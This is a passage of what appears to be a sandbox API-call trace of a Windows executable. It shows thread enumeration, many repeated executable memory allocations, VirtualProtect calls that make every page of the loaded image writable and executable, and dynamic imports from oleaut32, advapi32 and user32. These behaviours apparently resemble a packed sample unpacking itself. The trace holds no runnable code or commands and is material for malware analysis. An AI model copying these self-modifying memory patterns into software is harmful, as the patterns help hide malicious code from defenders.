(hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.855] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.856] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.856] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.857] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.857] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0236.055] CloseHandle (hObject=0x33c) returned 1 [0236.058] CloseHandle (hObject=0x328) returned 1 [0236.059] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0236.066] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.185] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.190] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.300] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.305] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.474] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.477] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.572] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.576] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.666] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.670] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.757] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.761] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.847] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.852] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0236.939] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0236.943] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.040] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.044] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.132] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.136] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.229] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.233] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.321] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.325] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.494] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.498] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.590] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.594] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.724] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.728] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.815] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.819] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0237.928] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.932] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.025] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.028] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.122] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.125] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.230] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.234] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.339] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.343] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.481] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.485] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.609] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.613] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.806] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.809] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.897] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.901] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0238.991] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0238.994] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0239.089] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0239.093] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0239.249] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0239.253] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0239.646] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0239.651] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0239.756] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0239.761] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0240.055] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0240.061] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0240.186] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0240.191] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0241.421] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0241.424] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0241.684] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0241.688] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0241.829] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0241.833] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0241.966] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0241.970] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.067] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.071] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.175] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.180] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.341] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.346] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.502] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.506] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.608] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.613] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.708] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.713] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.805] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.810] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.898] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.902] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0242.987] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0242.991] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0244.820] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0244.827] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0245.589] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.595] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0245.701] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.706] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0245.823] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.828] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0245.937] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0245.942] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0246.537] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.542] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0246.684] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.689] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0246.806] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.810] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0246.906] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.910] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.022] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.025] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.117] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.121] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.263] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.267] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.354] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.357] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.450] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.454] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.547] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.553] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.648] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.653] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0247.785] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0247.790] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0248.439] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0248.444] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0248.612] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0248.617] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0248.931] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0248.936] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0249.235] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.270] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0249.576] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.581] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0249.728] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.746] GetSystemTime (in: lpSystemTime=0x19f2f0 | out: lpSystemTime=0x19f2f0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x9, wMinute=0x12, wSecond=0x1a, wMilliseconds=0x2bf)) [0249.746] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x2) returned 1 [0249.780] VirtualProtect (in: lpAddress=0x401000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.780] VirtualProtect (in: lpAddress=0x402000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.780] VirtualProtect (in: lpAddress=0x403000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.781] VirtualProtect (in: lpAddress=0x404000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.781] VirtualProtect (in: lpAddress=0x405000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.781] VirtualProtect (in: lpAddress=0x406000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.782] VirtualProtect (in: lpAddress=0x407000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.782] VirtualProtect (in: lpAddress=0x408000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.782] VirtualProtect (in: lpAddress=0x409000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.783] VirtualProtect (in: lpAddress=0x40a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.783] VirtualProtect (in: lpAddress=0x40b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.783] VirtualProtect (in: lpAddress=0x40c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.784] VirtualProtect (in: lpAddress=0x40d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.784] VirtualProtect (in: lpAddress=0x40e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.785] VirtualProtect (in: lpAddress=0x40f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.785] VirtualProtect (in: lpAddress=0x410000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.785] VirtualProtect (in: lpAddress=0x411000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.786] VirtualProtect (in: lpAddress=0x412000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.786] VirtualProtect (in: lpAddress=0x413000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.786] VirtualProtect (in: lpAddress=0x414000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.787] VirtualProtect (in: lpAddress=0x415000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.787] VirtualProtect (in: lpAddress=0x416000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.787] VirtualProtect (in: lpAddress=0x417000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.788] VirtualProtect (in: lpAddress=0x418000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.788] VirtualProtect (in: lpAddress=0x419000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.788] VirtualProtect (in: lpAddress=0x41a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.789] VirtualProtect (in: lpAddress=0x41b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.789] VirtualProtect (in: lpAddress=0x41c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.789] VirtualProtect (in: lpAddress=0x41d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.790] VirtualProtect (in: lpAddress=0x41e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.790] VirtualProtect (in: lpAddress=0x41f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.790] VirtualProtect (in: lpAddress=0x420000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.791] VirtualProtect (in: lpAddress=0x421000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.791] VirtualProtect (in: lpAddress=0x422000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.791] VirtualProtect (in: lpAddress=0x423000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.792] VirtualProtect (in: lpAddress=0x424000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.792] VirtualProtect (in: lpAddress=0x425000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.792] VirtualProtect (in: lpAddress=0x426000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.793] VirtualProtect (in: lpAddress=0x427000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.793] VirtualProtect (in: lpAddress=0x428000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.793] VirtualProtect (in: lpAddress=0x429000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.794] VirtualProtect (in: lpAddress=0x42a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.794] VirtualProtect (in: lpAddress=0x42b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.794] VirtualProtect (in: lpAddress=0x42c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.795] VirtualProtect (in: lpAddress=0x42d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.795] VirtualProtect (in: lpAddress=0x42e000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.795] VirtualProtect (in: lpAddress=0x42f000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.796] VirtualProtect (in: lpAddress=0x430000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.796] VirtualProtect (in: lpAddress=0x431000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.796] VirtualProtect (in: lpAddress=0x432000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.797] VirtualProtect (in: lpAddress=0x433000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.797] VirtualProtect (in: lpAddress=0x434000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.798] VirtualProtect (in: lpAddress=0x435000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.798] VirtualProtect (in: lpAddress=0x436000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.798] VirtualProtect (in: lpAddress=0x437000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.799] VirtualProtect (in: lpAddress=0x438000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.799] VirtualProtect (in: lpAddress=0x439000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.799] VirtualProtect (in: lpAddress=0x43a000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.800] VirtualProtect (in: lpAddress=0x43b000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.800] VirtualProtect (in: lpAddress=0x43c000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.800] VirtualProtect (in: lpAddress=0x43d000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x19f2c8 | out: lpflOldProtect=0x19f2c8*=0x20) returned 1 [0249.818] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0249.819] GetProcAddress (hModule=0x75bb0000, lpProcName="SysFreeString") returned 0x75bcb920 [0249.819] GetProcAddress (hModule=0x75bb0000, lpProcName="SysReAllocStringLen") returned 0x75bd1500 [0249.819] GetProcAddress (hModule=0x75bb0000, lpProcName="SysAllocStringLen") returned 0x75bcb7e0 [0249.819] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0249.820] GetProcAddress (hModule=0x761b0000, lpProcName="RegQueryValueExA") returned 0x761cf020 [0249.820] GetProcAddress (hModule=0x761b0000, lpProcName="RegOpenKeyExA") returned 0x761cf210 [0249.820] GetProcAddress (hModule=0x761b0000, lpProcName="RegCloseKey") returned 0x761ced60 [0249.820] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0249.820] GetProcAddress (hModule=0x74b70000, lpProcName="GetKeyboardType") returned 0x74be8d80 [0249.820] GetProcAddress (hModule=0x74b70000, lpProcName="DestroyWindow") returned 0x74ba3160 [0249.820] GetProcAddress (hModule=0x74b70000, lpProcName="LoadStringA") returned 0x74b8d7b0 [0249.821] GetProcAddress (hModule=0x74b70000, 